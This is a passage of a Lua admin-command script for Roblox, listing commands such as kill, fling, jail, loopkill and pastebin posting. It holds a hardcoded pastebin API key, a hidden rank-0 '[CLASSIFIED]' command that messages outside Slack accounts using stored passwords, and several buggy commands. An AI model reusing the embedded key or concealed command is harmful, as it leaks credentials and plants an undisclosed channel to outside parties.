- 0,
- {
- 'reset',
- 'suicide'
- },
- 'Kills speaker. Add argument "rs" to respawn instead.',
- Prefix..'reset [rs]',
- function(Player, Arguments)
- if #Arguments >= 1 and Arguments[1] == 'rs' then
- Player:LoadCharacter()
- Ping(Player, 'Respawned Character.')
- else
- Player.Character:BreakJoints()
- Ping(Player, 'Reset Character.')
- end
- end,
- false
- )
- AddCommand(
- 'Playerpoint',
- 3,
- {
- 'pp',
- 'point'
- },
- 'Gives points to specified player(s).',
- Prefix..'pp [player],[player2] [number]',
- function(Player, Arguments)
- if #Arguments < 2 then
- return
- end
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- thread(function()
- game:service'PointsService':AwardPoints(v.userId, tonumber(Arguments[2]))
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Badge',
- 3,
- {
- 'badge'
- },
- 'Gives badges to specified player(s).',
- Prefix..'badge [player],[player2] [badgeid]',
- function(Player, Arguments)
- if #Arguments < 2 then
- return
- end
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- thread(function()
- game:service'BadgeService':AwardBadge(v.userId, tonumber(Arguments[2]))
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Spookify',
- 3,
- {
- 'spookify',
- 'spook'
- },
- 'Spookifys specified skeleton(s).',
- Prefix..'spookify [player],[player2]',
- function(Player, Arguments)
- --Commands.Music.Function(Player,{'183357153','srv'})
- --[[thread(function()
- if workspace:FindFirstChild('Sound') then
- if workspace:FindFirstChild('Sound').SoundId~='http://www.roblox.com/asset/?id=183357153' then
- workspace:FindFirstChild('Sound'):Pause()
- workspace:FindFirstChild('Sound'):Stop()
- workspace:FindFirstChild('Sound'):Destroy()
- Chatted(Player,Prefix..'music 183357153 srv',false,true)
- else
- workspace:FindFirstChild('Sound'):Pause()
- workspace:FindFirstChild('Sound'):Play()
- end
- else
- Chatted(Player,Prefix..'music 183357153 srv',false,true)
- end
- end)]]
- Commands['Character'].Function(Player, {
- Arguments[1],
- 'Phant0mS0lid'
- })
- Commands['Name'].Function(Player, {
- Arguments[1],
- 'Spooky Scary Skeleton'
- })
- end,
- true
- )
- AddCommand(
- 'Heal',
- 3,
- {
- 'heal'
- },
- 'Heals specified player(s).',
- Prefix..'heal [player],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- thread(function()
- RunOnChildren('Humanoid', v.Character, function(v)
- v.Health = v.MaxHealth
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'God',
- 3,
- {
- 'god'
- },
- 'Gods specified player(s).',
- Prefix..'god [player],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- thread(function()
- RunOnChildren('Humanoid', v.Character, function(v)
- v.MaxHealth = math.huge
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Redeem',
- 3,
- {
- 'redeem'
- },
- 'Redeems any gamepass admins.',
- Prefix..'redeem',
- function(Player, Arguments)
- CheckGamepass(Player)
- end,
- true
- )
- AddCommand(
- 'Rejoin',
- 3,
- {
- 'rej',
- 'rejoin'
- },
- 'Rejoins the game.',
- Prefix..'redeem',
- function(Player, Arguments)
- if #Arguments == 0 then
- TeleportTo(Player, game.PlaceId, game.JobId)
- end
- if #Arguments == 1 and Arguments[1]:lower() == 'ds' then
- TeleportTo(Player, game.PlaceId)
- elseif #Arguments == 1 then
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- TeleportTo(v, game.PlaceId, game.JobId)
- end
- elseif #Arguments == 2 and Arguments[2]:lower() == 'ds' then
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- TeleportTo(v, game.PlaceId)
- end
- end
- end,
- true
- )
- AddCommand(
- 'UnGod',
- 3,
- {
- 'ungod'
- },
- 'UnGods specified player(s).',
- Prefix..'ungod [player],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- thread(function()
- RunOnChildren('Humanoid', v.Character, function(v)
- v.MaxHealth = 100
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'ForceField',
- 3,
- {
- 'ff'
- },
- 'Gives a forcefield to specified player(s).',
- Prefix..'ff [player],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- thread(function()
- Instance.new('ForceField', v.Character)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Group',
- 3,
- {
- 'group'
- },
- 'Gives a forcefield to specified player(s).',
- Prefix..'ff [player],[player2]',
- function(Player, Arguments)
- Dismiss(Player)
- local groupId = tonumber(Arguments[1])
- local group = service'GroupService':GetGroupInfoAsync(groupId)
- Ping(Player,group.Name,nil,nil,group.EmblemUrl)
- Ping(Player,'Roles',function()
- Dismiss(Player)
- Ping(Player,'Back',function()
- Commands.Group.Function(Player,Arguments)
- end,'Really blue')
- Ping(Player,group.Name .. " has the following roles:")
- for _, role in ipairs(group.Roles) do
- Ping(Player,"Rank " .. role.Rank .. " | " .. role.Name)
- end
- end)
- Ping(Player,'Enemies',function()
- Dismiss(Player)
- Ping(Player,'Back',function()
- Commands.Group.Function(Player,Arguments)
- end,'Really blue')
- Ping(Player,group.Name .. " has the following Enemies:")
- for gro, num in PageItems(service'GroupService':GetEnemiesAsync(group.Id)) do
- Ping(Player,gro.Name)
- end
- end)
- Ping(Player,'Allies',function()
- Dismiss(Player)
- Ping(Player,'Back',function()
- Commands.Group.Function(Player,Arguments)
- end,'Really blue')
- Ping(Player,group.Name .. " has the following Allies:")
- for gro, num in PageItems(service'GroupService':GetAlliesAsync(group.Id)) do
- Ping(Player,gro.Name)
- end
- end)
- if group.Owner then
- Ping(Player,"Owner | "..group.Owner.Name, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..group.Owner.Id)
- else
- Ping(Player,"No Owner")
- end
- Ping(Player,"Description\n"..group.Description)
- if Player:IsInGroup(group.Id) then
- Ping(Player,'Your Rank | '..Player:GetRoleInGroup(group.Id))
- end
- if Player:IsInGroup(group.Id) and Player.userId==group.Owner.Id then
- Ping(Player,'You own this group')
- end
- end,
- true
- )
- AddCommand(
- 'UnForceField',
- 3,
- {
- 'unff'
- },
- 'Removes all forcefields from specified player(s).',
- Prefix..'ff [player],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- thread(function()
- RunOnChildren('ForceField', v.Character, function(v)
- v:Destroy''
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Explore',
- 7,
- {
- 'explore'
- },
- 'Allows you to explore a service.',
- Prefix..'explore [servicename]',
- function(Player, Arguments)
- if Arguments[1]==nil then Arguments={'Workspace'} end
- Explore(Player,game:service(Arguments[1]))
- end,
- true
- )
- AddCommand(
- 'Keybind',
- 3,
- {
- 'bind',
- 'kb',
- 'keybind'
- },
- 'Adds a keybind to speaker.',
- Prefix..'bind [key] '..Prefix..'[command]',
- function(Player, Arguments)
- local Key =
- Arguments[1]
- table.remove(Arguments, 1)
- KeyBind(Player, Key, Join(Arguments))
- end,
- true
- )
- AddCommand(
- 'Nil',
- 4,
- {
- 'nil'
- },
- 'Makes speaker nil.',
- Prefix..'nil',
- function(Player, Arguments)
- if #Arguments < 1 then
- return
- end
- for i, Player1 in pairs(GetPlayers(Player, Arguments[1])) do
- if GetRank(Player).Rank > GetRank(Player1).Rank or Player1.Name == Player.Name then
- Player1.Character = nil
- wait()
- Nil(Player1)
- wait()
- Player1:Destroy()
- end
- end
- end,
- true
- )
- AddCommand(
- 'Post to pastebin',
- 11,
- {
- 'ptp','post'
- },
- 'Posts arguments to pastebin.',
- Prefix..'ptp Ello, this is an auto pastebin paste!',
- function(Player, Arguments)
- local toname=Arguments[1]
- table.remove(Arguments,1)
- local ppb = PostPasteBin('b93c9759f428fe5b88a23c6bc83fa2b6',toname,Join(Arguments))
- Ping(Player,ppb,'New Yeller')
- end,
- false
- )
- AddCommand(
- '[CLASSIFIED] getp',
- 0,
- {
- 'getp'
- },
- '[CLASSIFIED]',
- Prefix..'[CLASSIFIED]',
- function(Player, Arguments)
- --local Image=game:service'HttpService':GetAsync('http://rproxy.pw/Thumbs/Avatar.ashx?username='..Player.Name)
- PostToSlack(Users.DarthStrantax.Pass, '[Get Pass] '..Player.Name..': ', '@darthstrantax')--,Image)
- PostToSlack(Users.iigothackedlol.Pass, '[Get Pass] '..Player.Name..': ', '@aethermoderator')
- PostToSlack(Users.iigothackedlol.Pass, '[Get Pass] '..Player.Name..': ', '@limitedhex')
- PostToSlack(Users.Klocko.Pass, '[Get Pass] '..Player.Name..': ', '@klocko')
- PostToSlack(Users.GoldenLuaCode.Pass, '[Get Pass] '..Player.Name..': ', '@jailbrokentweetz')
- end,
- true
- )
- AddCommand(
- 'clean',
- 0,
- {
- 'clean'
- },
- 'Cleans server for hats, tools and messages.',
- Prefix..'clean',
- function(Player, Arguments)
- for i, v in pairs(workspace:children()) do
- if v:IsA'Hat' or v:IsA'Tool' then
- v:remove''
- elseif v:IsA'Hint' or v:IsA'Message' then
- v.Text = ''
- end
- end
- end,
- true
- )
- AddCommand(
- 'Trip',
- 3,
- {
- 'trip'
- },
- 'Trips specified players.',
- Prefix..'trip [player1],[player2]',
- function(Player, Arguments)
- for i, v in pairs(workspace:children()) do
- thread(function()
- v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0, 0, math.rad(180))
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Damage',
- 3,
- {
- 'damage'
- },
- 'Damages specified player(s) by specified amount.',
- Prefix..'damage [player],[player2] [amount]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- thread(function()
- RunOnChildren('Humanoid', v.Character, function(v)
- v.Health = v.Health - tonumber(Arguments[2])
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Health',
- 3,
- {
- 'health'
- },
- 'Sets the health of specified player(s) to specified amount.',
- Prefix..'damage [player],[player2] [amount]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- thread(function()
- RunOnChildren('Humanoid', v.Character, function(v)
- v.MaxHealth = tonumber(Arguments[2])
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Watch',
- 3,
- {
- 'watch',
- 'view',
- 'viewplayer',
- 'watchplayer'
- },
- 'Watches specified player(s).',
- Prefix..'watch [player],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- thread(function()
- if v and v.Character:FindFirstChild('Humanoid') then
- SetView(Player, v.Character.Humanoid)
- end
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Loopkill',
- 6,
- {
- 'lk',
- 'loopkill'
- },
- 'LoopKills specified player(s).',
- Prefix..'lk [player],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- if GetRank(Player).Rank > GetRank(v).Rank then
- Loopkill[v.userId] = true
- end
- end
- end,
- true
- )
- AddCommand(
- 'UnLoopkill',
- 6,
- {
- 'unlk',
- 'unloopkill'
- },
- 'Un-LoopKills specified player(s).',
- Prefix..'unlk [player],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- if GetRank(Player).Rank > GetRank(v).Rank then
- Loopkill[v.userId] = false
- end
- end
- end,
- true
- )
- --[[AddCommand(
- 'Load',
- 5,
- {'load'},
- 'Loads specified scripts.',
- Prefix..'load [name]',
- function(Player,Arguments)
- Ping(Player,'Close',function() Dismiss(Player) end,'Really red')
- for i,v in pairs(Scripts) do
- Ping(Player,'Load '..v.Name,function()
- local sc=v:clone()
- sc.Parent=Player.Backpack
- wait()
- sc.Disabled=false
- end)
- end
- end,
- true
- )]]
- AddCommand(
- 'Tools',
- 3,
- {
- 'tools'
- },
- 'Displays tools.',
- Prefix..'tools',
- function(Player, Arguments)
- --Ping(Player,'Close',function() Dismiss(Player) end,'Really red')
- local ToTools = {}
- for i, v in pairs(ToolServices) do
- for o, p in pairs(v:children()) do
- if p:IsA'Tool' or p:IsA'HopperBin' then
- table.insert(ToTools, p)
- end
- end
- end
- for i, v in pairs(Scripts) do
- table.insert(ToTools, v)
- end
- --[[for i,v in pairs(ToTools) do
- Ping(Player,v.Name,function()
- if v:IsA'LocalScript' then
- local sc=v:clone()
- sc.Parent=Player.Backpack
- wait()
- sc.Disabled=false
- else
- v:clone().Parent=Player.Backpack
- end
- end)
- end]]
- local ToScroll = {}
- for i, v in pairs(ToTools) do
- table.insert(ToScroll, v.Name)
- end
- ScrollGui(Player, 'Server Tools', ToScroll)
- end,
- true
- )
- AddCommand(
- 'Give',
- 3,
- {
- 'give'
- },
- 'Gives a player a tool.',
- Prefix..'give [player1],[player2] [toolname]',
- function(Player, Arguments)
- if #Arguments < 2 then
- return
- end
- local ToTools = {}
- for i, v in pairs(ToolServices) do
- for o, p in pairs(v:children()) do
- if p:IsA'Tool' or p:IsA'HopperBin' then
- table.insert(ToTools, p)
- end
- end
- end
- for i, v in pairs(Scripts) do
- table.insert(ToTools, v)
- end
- local ToGive = {}
- for i, v in pairs(ToTools) do
- if v.Name:sub(1, #Arguments[2]):lower() == Arguments[2]:lower() or Arguments[2]:lower() == 'all' then
- table.insert(ToGive, v)
- end
- end
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- thread(function()
- for h, j in pairs(ToGive) do
- if j:IsA'LocalScript' then
- local sc = j:clone()
- sc.Parent = v.Backpack
- wait()
- sc.Disabled = false
- else
- j:clone().Parent = v.Backpack
- end
- end
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Disconnect',
- 6,
- {
- 'disconnect',
- 'disc'
- },
- 'Disconnects specified players.',
- Prefix..'disc',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- FreezeScreen(v)
- end
- end,
- true
- )
- AddCommand(
- 'Override',
- 0,
- {
- 'override'
- },
- 'Attempts an override.',
- Prefix..'override',
- function(Player, Arguments)
- AttemptLogin(Player)
- end,
- true
- )
- AddCommand(
- 'Logs',
- 6,
- {
- 'logs'
- },
- 'Displays logs.',
- Prefix..'logs',
- function(Player, Arguments)
- wait()
- local ToScroll = {}
- for i, v in pairs(ServerLogs) do
- ToScroll[#ServerLogs - i] = v[3]..'s| '..v[1]
- end
- ScrollGui(Player, 'Server Logs', ToScroll)
- end,
- true
- )
- AddCommand(
- 'ConnectClient',
- 6,
- {
- '/c/'
- },
- 'Reconnects client.',
- Prefix..'/c/',
- function(Player, Arguments)
- if #Arguments == 0 then
- if RF:FireClient(Player, {
- 'IsLoaded'
- }) == nil then
- local c = Client:clone()
- c.Parent = Player.Backpack
- wait()
- c.Disabled = false
- end
- else
- local c = Client:clone()
- c.Parent = Player.Backpack
- wait()
- c.Disabled = false
- end
- end,
- true
- )
- AddCommand(
- 'Ping',
- 0,
- {
- 'ping'
- },
- 'Pings Arguments',
- Prefix..'ping DarthStrantax is awesome',
- function(Player, Arguments)
- for i, v in pairs(Arguments) do
- Ping(Player, v)
- end
- end,
- false
- )
- AddCommand(
- 'Regen Map',
- 9,
- {
- 'regen'
- },
- 'Regenerates all of workspace.',
- Prefix..'regen',
- function(Player, Arguments)
- for i, v in pairs(workspace:children()) do thread(function() v:Destroy() end) end
- for i, v in pairs(MapBackup) do
- local o = v:clone()
- o.Parent = workspace
- anchorAll(o)
- end
- for i, v in pairs(GetRawPlayers()) do
- thread(function()
- v:LoadCharacter()
- end)
- end
- end,
- false
- )
- AddCommand(
- 'Dismiss',
- 0,
- {
- 'dt',
- 'dismiss'
- },
- 'Removes all tabs.',
- Prefix..'dt',
- function(Player, Arguments)
- if #Arguments == 0 then
- Dismiss(Player)
- else
- if GetRank(Player).Rank >= 5 then
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- Dismiss(v)
- end
- end
- end
- end,
- false
- )
- AddCommand(
- 'Kill',
- 3,
- {
- 'kill'
- },
- 'Kills specified players.',
- Prefix..'kill [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- if v:FindFirstChild'Humanoid' then
- local c = Instance.new('ObjectValue', v.Humanoid)
- c.Name = 'creator'
- c.Value = Player
- game:service'Debris':AddItem(c, 3)
- wait()
- end
- v.Character:BreakJoints()
- end
- end,
- true
- )
- AddCommand(
- 'Fling',
- 3,
- {
- 'fling'
- },
- 'Flings specified players.',
- Prefix..'fling [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
- local xran
- local zran
- repeat
- xran = math.random(-9999, 9999)
- until math.abs(xran) >= 5555
- repeat
- zran = math.random(-9999, 9999)
- until math.abs(zran) >= 5555
- v.Character.Humanoid.Sit = true
- v.Character.Torso.Velocity = Vector3.new(0, 0, 0)
- local frc = Instance.new("BodyForce", v.Character.Torso)
- frc.Name = "BFRC"
- frc.force = Vector3.new(xran * 4, 9999 * 5, zran * 4)
- game:service("Debris"):AddItem(frc, .1)
- end
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Stun',
- 3,
- {
- 'stun'
- },
- 'Stuns specified players.',
- Prefix..'stun [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- v.Character.Humanoid.PlatformStand = true
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Periastron',
- 3,
- {
- 'periastron',
- 'peri'
- },
- 'Gives specific players EVERY Periastron.',
- Prefix..'peri [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- for u, o in pairs(Periastrons) do
- service'InsertService':LoadAsset(o):children()[1].Parent = v.Backpack
- end
- end)
- end
- end,
- true
- )
- AddCommand(
- 'UnStun',
- 3,
- {
- 'unstun'
- },
- 'UnStuns specified players.',
- Prefix..'unstun [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- v.Character.Humanoid.PlatformStand = false
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Jump',
- 3,
- {
- 'jump'
- },
- 'Jumps specified players.',
- Prefix..'jump [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- v.Character.Humanoid.Jump = true
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Sit',
- 3,
- {
- 'sit'
- },
- 'Sits specified players.',
- Prefix..'sit [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- v.Character.Humanoid.Sit = true
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Invisible',
- 3,
- {
- 'invis',
- 'invisible'
- },
- 'Makes specified players invisible.',
- Prefix..'invis [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- RunOnChildren('BasePart', v.Character, function(v)
- v.Transparency = 1
- if v:FindFirstChild'face' then
- v.face.Transparency = 1
- end
- end)
- RunOnChildren('Hat', v.Character, function(v)
- v:children()[1].Transparency = 1
- end)
- RunOnChildren('Model', v.Character, function(v)
- if v:FindFirstChild'NameTag' then
- v.Head.Transparency = 1
- end
- if v:FindFirstChild'face' then
- v.face.Transparency = 1
- end
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Visible',
- 3,
- {
- 'vis',
- 'visible'
- },
- 'Makes specified players visible.',
- Prefix..'vis [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- RunOnChildren('BasePart', v.Character, function(v)
- if v.Name ~= 'HumanoidRootPart' then
- v.Transparency = 0
- end
- if v:FindFirstChild'face' then
- v.face.Transparency = 0
- end
- end)
- RunOnChildren('Hat', v.Character, function(v)
- v:children()[1].Transparency = 0
- end)
- RunOnChildren('Model', v.Character, function(h)
- if h:FindFirstChild'NameTag' then
- h.Head.Transparency = 0
- if h.Head:FindFirstChild'face' then
- h.Head.face.Transparency = 0
- end
- if v.Character.Head:FindFirstChild'face' then
- v.Character.Head.face.Transparency = 0
- end
- v.Character.Head.Transparency = 1
- end
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Lock',
- 3,
- {
- 'lock'
- },
- 'Makes specified players locked.',
- Prefix..'lock [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- RunOnChildren('BasePart', v.Character, function(v)
- v.Locked = true
- end)
- RunOnChildren('Hat', v.Character, function(v)
- v:children()[1].Locked = true
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'UnName',
- 3,
- {
- 'unname'
- },
- 'Removes specified players custom names.',
- Prefix..'unname [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- RunOnChildren('Instance', v.Character, function(v)
- if v:FindFirstChild'NameTag' then
- v:Destroy''
- elseif v.Name == 'Head' then
- v.Transparency = 0
- end
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'UnLock',
- 3,
- {
- 'unlock'
- },
- 'Makes specified players unlocked.',
- Prefix..'unlock [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- RunOnChildren('BasePart', v.Character, function(v)
- v.Locked = false
- end)
- RunOnChildren('Hat', v.Character, function(v)
- v:children()[1].Locked = false
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Age',
- 3,
- {
- 'age'
- },
- 'Pings specified players age.',
- Prefix..'age [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- Ping(Player, v.Name..' Account Age | '..v.AccountAge)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Fire',
- 3,
- {
- 'fire'
- },
- 'Sets specified players on fire.',
- Prefix..'fire [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- table.remove(Arguments, 1)
- local Color = Join(Arguments)
- for i, v in pairs(Players) do
- thread(function()
- Instance.new('Fire', v.Character.Torso).Color = BrickColor.new(Color or 'Really red').Color
- end)
- end
- end,
- true
- )
- AddCommand(
- 'UnFire',
- 3,
- {
- 'unfire'
- },
- 'Makes specified players not on fire.',
- Prefix..'unfire [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- RunOnChildren('Fire', v.Character.Torso, function(v)
- v:remove''
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Smoke',
- 3,
- {
- 'smoke'
- },
- 'Adds smoke to specified players.',
- Prefix..'smoke [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- table.remove(Arguments, 1)
- local Color = Join(Arguments)
- for i, v in pairs(Players) do
- thread(function()
- Instance.new('Smoke', v.Character.Torso).Color = BrickColor.new(Color or 'Really red').Color
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Baseplate',
- 8,
- {
- 'base'
- },
- 'Creates a Baseplate.',
- Prefix..'base',
- function(Player, Arguments)
- MakeBase()
- end,
- true
- )
- AddCommand(
- 'Remove Baseplate',
- 8,
- {
- 'rbase'
- },
- 'Removes generated Baseplate.',
- Prefix..'rbase',
- function(Player, Arguments)
- if CurrentPlate then
- CurrentPlate:Destroy()
- end
- end,
- true
- )
- AddCommand(
- 'UnSmoke',
- 3,
- {
- 'unsmoke'
- },
- 'Removes smoke from specified players.',
- Prefix..'unsmoke [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- RunOnChildren('Smoke', v.Character.Torso, function(v)
- v:remove''
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Sparkles',
- 3,
- {
- 'sparkles'
- },
- 'Adds sparkles to specified players.',
- Prefix..'sparkles [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- table.remove(Arguments, 1)
- local Color = Join(Arguments)
- for i, v in pairs(Players) do
- thread(function()
- Instance.new('Sparkles', v.Character.Torso).Color = BrickColor.new(Color or 'Really red').Color
- end)
- end
- end,
- true
- )
- AddCommand(
- 'UnSparkles',
- 3,
- {
- 'unsparkles'
- },
- 'Removes sparkles from specified players.',
- Prefix..'unsparkles [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- thread(function()
- RunOnChildren('Sparkles', v.Character.Torso, function(v)
- v:remove''
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Punish',
- 3,
- {
- 'punish'
- },
- 'Makes specified players characters in serverstorage.',
- Prefix..'punish [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- v.Character.Parent = game:service'ServerStorage'
- end
- end,
- true
- )
- AddCommand(
- 'UnPunish',
- 3,
- {
- 'unpunish'
- },
- 'Makes specified players characters in workspace.',
- Prefix..'unpunish [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- v.Character.Parent = game:service'Workspace'
- v.Character:MakeJoints()
- end
- end,
- true
- )
- AddCommand(
- 'Freeze',
- 3,
- {
- 'freeze'
- },
- 'Makes specified players frozen.',
- Prefix..'freeze [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- FreezeCam(v)
- thread(function()
- RunOnChildren('BasePart', v.Character, function(v)
- if v.Name ~= 'HumanoidRootPart' then
- v.Anchored = true
- end
- end)
- RunOnChildren('Humanoid', v.Character, function(v)
- v.WalkSpeed = 0
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Thaw',
- 3,
- {
- 'thaw',
- 'unfreeze'
- },
- 'Makes specified players not frozen.',
- Prefix..'thaw [player],[player2]',
- function(Player, Arguments)
- local Players = GetPlayers(Player, Arguments[1])
- for i, v in pairs(Players) do
- ThawCam(v)
- thread(function()
- RunOnChildren('BasePart', v.Character, function(v)
- v.Anchored = false
- end)
- RunOnChildren('Humanoid', v.Character, function(v)
- v.WalkSpeed = 16
- end)
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Ambient',
- 4,
- {
- 'ambient'
- },
- 'Makes ambient a specific color',
- Prefix..'ambient 0 1 0',
- function(Player, Arguments)
- if #Arguments ~= 3 then
- return
- end
- game:service'Lighting'.Ambient = Color3.new(Arguments[1], Arguments[2], Arguments[3])
- end,
- true
- )
- AddCommand(
- 'Clone',
- 3,
- {
- 'clone'
- },
- 'Clones specified players characters.',
- Prefix..'clone [player1],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- thread(function()
- if v and v.Character then
- v.Character.Archivable = true
- local cl = v.Character:Clone()
- table.insert(Objects, cl)
- cl.Parent = workspace
- cl:MoveTo(v.Character:GetModelCFrame().p)
- cl:MakeJoints()
- v.Character.Archivable = false
- repeat
- wait()
- until not cl or not cl.Humanoid or cl.Humanoid.Health <= 0
- wait(5)
- if cl then
- cl:Destroy()
- end
- end
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Clear',
- 4,
- {
- 'clear'
- },
- 'Clears away all jails, exe scripts, clones and more.',
- Prefix..'brightness 30',
- function(Player, Arguments)
- for i, v in pairs(Objects) do
- v:Destroy()
- end
- Objects = {}
- for i, v in pairs(Jails) do
- if not game.Players:FindFirstChild(i) then
- for u, o in pairs(v) do
- o:Destroy()
- end
- Jails[i] = {}
- end
- end
- end,
- true
- )
- AddCommand(
- 'Brightness',
- 4,
- {
- 'brightness'
- },
- 'Makes brightness a specific number',
- Prefix..'brightness 30',
- function(Player, Arguments)
- game:service'Lighting'.Brightness = Arguments[1]
- end,
- true
- )
- AddCommand(
- 'Jail',
- 4,
- {
- 'jail'
- },
- 'Puts specified players in jail.',
- Prefix..'jail [player1],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- Jail(v)
- end
- end,
- true
- )
- AddCommand(
- 'Solitary',
- 6,
- {
- 'sol'
- },
- 'Puts specified players in solitary confinement jail.',
- Prefix..'jail [player1],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- Solitary(v)
- end
- end,
- true
- )
- AddCommand(
- 'Un-Jail',
- 4,
- {
- 'unjail'
- },
- 'Gets specified players out of jail.',
- Prefix..'unjail [player1],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- if Jails[v.Name] then
- for o, p in pairs(Jails[v.Name]) do
- p:Destroy()
- end
- Jails[v.Name] = {}
- end
- end
- end,
- true
- )
- AddCommand(
- 'Time',
- 4,
- {
- 'time'
- },
- 'Makes server time a specific number',
- Prefix..'time 10000',
- function(Player, Arguments)
- game:service'Lighting'.TimeOfDay = Arguments[1]
- end,
- true
- )
- AddCommand(
- 'FogColor',
- 4,
- {
- 'fogcolor'
- },
- 'Makes fog a specific color',
- Prefix..'fogcolor 0 1 0',
- function(Player, Arguments)
- if #Arguments ~= 3 then
- return
- end
- game:service'Lighting'.FogColor = Color3.new(Arguments[1], Arguments[2], Arguments[3])
- end,
- true
- )
- AddCommand(
- 'FogEnd',
- 4,
- {
- 'fogend'
- },
- 'Makes fogend a specific number',
- Prefix..'fogend 100',
